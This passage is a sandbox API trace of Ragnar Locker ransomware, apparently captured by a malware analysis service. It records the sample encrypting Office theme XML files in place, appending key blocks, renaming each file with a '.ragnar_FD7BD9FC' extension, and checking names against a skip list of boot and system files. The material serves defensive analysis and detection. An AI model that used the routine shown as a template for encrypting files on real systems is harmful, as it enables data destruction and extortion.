lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.283] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3835) returned 1 [0094.283] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xef2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.283] GetProcessHeap () returned 0x580000 [0094.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.283] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.284] VirtualAlloc (lpAddress=0x0, dwSize=0xefb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.284] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.284] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.284] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xefb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xefb, lpOverlapped=0x0) returned 1 [0094.285] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.285] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xefb, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.285] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xefb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xefb, lpOverlapped=0x0) returned 1 [0094.285] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xefb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.285] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.285] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xefb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.285] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.285] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.285] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.285] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.285] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.286] GetProcessHeap () returned 0x580000 [0094.286] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.286] CloseHandle (hObject=0x10c) returned 1 [0094.286] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" [0094.286] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.ragnar_FD7BD9FC" [0094.286] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.286] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0094.286] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.286] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Civic.xml" | out: lpString1="Civic.xml") returned="Civic.xml" [0094.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml") returned=".xml" [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="autorun.inf") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="boot.ini") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="bootfont.bin") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="bootsect.bak") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr.efi") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgfw.efi") returned 1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="desktop.ini") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="iconcache.db") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="ntldr") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat.log") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.ini") returned -1 [0094.287] lstrcmpiW (lpString1="Civic.xml", lpString2="thumbs.db") returned -1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.287] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml")) returned 0x20 [0094.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.289] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3615) returned 1 [0094.289] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.289] GetProcessHeap () returned 0x580000 [0094.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.289] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.290] VirtualAlloc (lpAddress=0x0, dwSize=0xe1f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.290] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.290] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.290] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe1f, lpOverlapped=0x0) returned 1 [0094.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.291] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.291] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe1f, lpOverlapped=0x0) returned 1 [0094.291] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.291] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.291] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.291] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.291] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.291] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.291] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.291] GetProcessHeap () returned 0x580000 [0094.292] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.292] CloseHandle (hObject=0x10c) returned 1 [0094.292] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" [0094.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.ragnar_FD7BD9FC" [0094.292] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0094.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.293] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Clarity.xml" | out: lpString1="Clarity.xml") returned="Clarity.xml" [0094.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml") returned=".xml" [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="autorun.inf") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="boot.ini") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootfont.bin") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootsect.bak") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr.efi") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgfw.efi") returned 1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="desktop.ini") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="iconcache.db") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntldr") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat.log") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.ini") returned -1 [0094.293] lstrcmpiW (lpString1="Clarity.xml", lpString2="thumbs.db") returned -1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.293] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml")) returned 0x20 [0094.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.294] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3599) returned 1 [0094.294] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.294] GetProcessHeap () returned 0x580000 [0094.294] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.294] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.295] VirtualAlloc (lpAddress=0x0, dwSize=0xe0f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.295] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.295] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.296] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe0f, lpOverlapped=0x0) returned 1 [0094.296] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.296] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe0f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.296] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe0f, lpOverlapped=0x0) returned 1 [0094.296] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe0f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.296] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.296] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.296] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.296] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.296] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.296] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.296] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.297] GetProcessHeap () returned 0x580000 [0094.297] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.297] CloseHandle (hObject=0x10c) returned 1 [0094.297] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" [0094.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.ragnar_FD7BD9FC" [0094.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.298] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0094.298] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.298] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Composite.xml" | out: lpString1="Composite.xml") returned="Composite.xml" [0094.299] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml") returned=".xml" [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="autorun.inf") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="boot.ini") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="bootfont.bin") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="bootsect.bak") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr.efi") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgfw.efi") returned 1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="desktop.ini") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="iconcache.db") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="ntldr") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat.log") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.ini") returned -1 [0094.299] lstrcmpiW (lpString1="Composite.xml", lpString2="thumbs.db") returned -1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.299] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml")) returned 0x20 [0094.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.300] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3598) returned 1 [0094.300] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.300] GetProcessHeap () returned 0x580000 [0094.300] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.300] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.301] VirtualAlloc (lpAddress=0x0, dwSize=0xe0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.301] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.302] SetFilePointerEx (in: 